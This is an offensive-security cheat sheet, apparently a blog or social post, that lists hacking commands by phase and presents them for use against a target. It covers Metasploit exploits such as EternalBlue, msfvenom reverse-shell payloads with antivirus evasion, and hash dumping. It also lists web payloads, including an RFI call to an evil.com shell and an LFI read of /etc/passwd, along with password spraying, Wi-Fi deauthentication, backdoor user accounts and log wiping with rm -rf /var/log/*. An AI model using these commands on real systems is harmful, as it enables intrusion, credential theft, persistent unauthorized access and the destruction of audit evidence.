**🛠️ Hacker’s Cheat Sheet (Beginner → Advanced)**

**1. Linux Essentials (Foundation)**

📌 Every hacker must master Linux commands first.

| **Task** | **Command** |
| --- | --- |
| Show IP | ip a |
| Scan network | netdiscover -r 192.168.1.0/24 |
| Download file (HTTP) | wget http://IP/file or curl -O http://IP/file |
| Start Web Server | python3 -m http.server 8080 |
| Search text in files | grep -r "keyword" /path |
| Permissions | chmod 755 file, chown user:user file |

**Tip:** Always create aliases for long commands in .bashrc.

**2. Networking & Recon**

📌 Recon = 70% of hacking.

| **Tool** | **Usage** |
| --- | --- |
| Nmap | nmap -sV -A -p- target.com |
| Masscan | masscan -p1-65535 --rate=10000 target.com |
| TheHarvester | theharvester -d target.com -l 200 -b google |
| Subfinder | subfinder -d target.com |
| Whois | whois target.com |
| Dig | dig target.com ANY |

**Pro Tip:** Use amass for deep subdomain enumeration.

**3. Exploitation Basics**

📌 Once you know the service, attack it.

| **Exploit Style** | **Example** |
| --- | --- |
| FTP Backdoor | use exploit/unix/ftp/vsftpd\_234\_backdoor |
| SMB Exploit | use exploit/windows/smb/ms17\_010\_eternalblue |
| HTTP Exploit | use exploit/multi/http/tomcat\_mgr\_upload |

**MSF Commands**

search exploit name

use exploit/path

set RHOSTS target

set RPORT 445

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST your\_ip

exploit

**4. Post-Exploitation**

📌 Once inside → maintain & escalate.

| **Task** | **Command** |
| --- | --- |
| Get System Info | sysinfo |
| Check Users | getuid |
| Privilege Escalation | whoami /priv (Windows), sudo -l (Linux) |
| Dump Hashes | hashdump |
| Persistence | run persistence -U -i 5 -p 4444 -r your\_ip |

**Pro Tip:** Always clean logs → rm -rf /var/log/\* (but carefully).

**5. Web Hacking**

📌 Most real-world hacking = web apps.

| **Attack** | **Tool/Command** |
| --- | --- |
| SQLi | sqlmap -u "http://target.com/page.php?id=1" --dbs |
| XSS | <script>alert(1)</script> |
| LFI | http://target.com/index.php?page=../../../../etc/passwd |
| RFI | http://target.com/index.php?page=http://evil.com/shell.txt |
| Dir Bruteforce | gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt |

**6. Password Attacks**

📌 Brute force, cracking, spraying.

| **Tool** | **Example** |
| --- | --- |
| Hydra | hydra -l admin -P rockyou.txt ssh://192.168.1.10 |
| John | john --wordlist=rockyou.txt hashes.txt |
| Hashcat | hashcat -m 0 -a 0 hash.txt rockyou.txt |
| Medusa | medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh |

**7. Wireless Hacking**

📌 Wi-Fi pentesting = must-have skill.

| **Step** | **Command** |
| --- | --- |
| Monitor Mode | airmon-ng start wlan0 |
| Capture Handshake | airodump-ng wlan0mon |
| Deauth Attack | aireplay-ng --deauth 10 -a AP\_MAC wlan0mon |
| Crack WPA2 | aircrack-ng -w rockyou.txt capture.cap |

**Pro Tip:** WPA3 requires Evil Twin + downgrade attacks.

**8. Advanced Exploitation**

📌 Going pro = advanced shells, payloads, AV evasion.

| **Task** | **Tool** |
| --- | --- |
| Generate Payload | msfvenom -p windows/meterpreter/reverse\_tcp LHOST=IP LPORT=4444 -f exe > shell.exe |
| AV Evasion | msfvenom -p windows/shell\_reverse\_tcp -e x86/shikata\_ga\_nai -i 5 -f exe > evilshell.exe |
| Buffer Overflow | pattern\_create.rb -l 3000 + pattern\_offset.rb |
| PrivEsc (Linux) | linpeas.sh |
| PrivEsc (Windows) | winPEAS.exe |

**9. Persistence & Covering Tracks**

| **Task** | **Command** |
| --- | --- |
| Add User (Linux) | useradd -m backdoor -s /bin/bash |
| Add User (Win) | net user backdoor P@ssw0rd! /add |
| Hide Process | rootkit or kernel module |
| Clear Bash History | history -c && history -w |

**10. Bug Bounty & Real-World Hunting**

| **Method** | **Example** |
| --- | --- |
| Recon | subfinder + httpx + nuclei |
| Automation | hakrawler target.com |
| LFI to RCE | Upload PHP shell |
| SSRF | http://target.com/fetch?url=http://127.0.0.1:22 |
| IDOR | Change user\_id=100 → user\_id=101 |

**⚡ Notes & Tips**

* Always start with **information gathering** → 80% hacking is recon.
* Build your **own wordlists** from target data (cewl, crunch).
* Never skip **manual testing** → tools miss real bugs.
* Learn **scripting (Python, Bash)** to automate repetitive tasks.
* For Pro-level → Master **Active Directory, Cloud Hacking (AWS, Azure)**, and **Red Team TTPs**.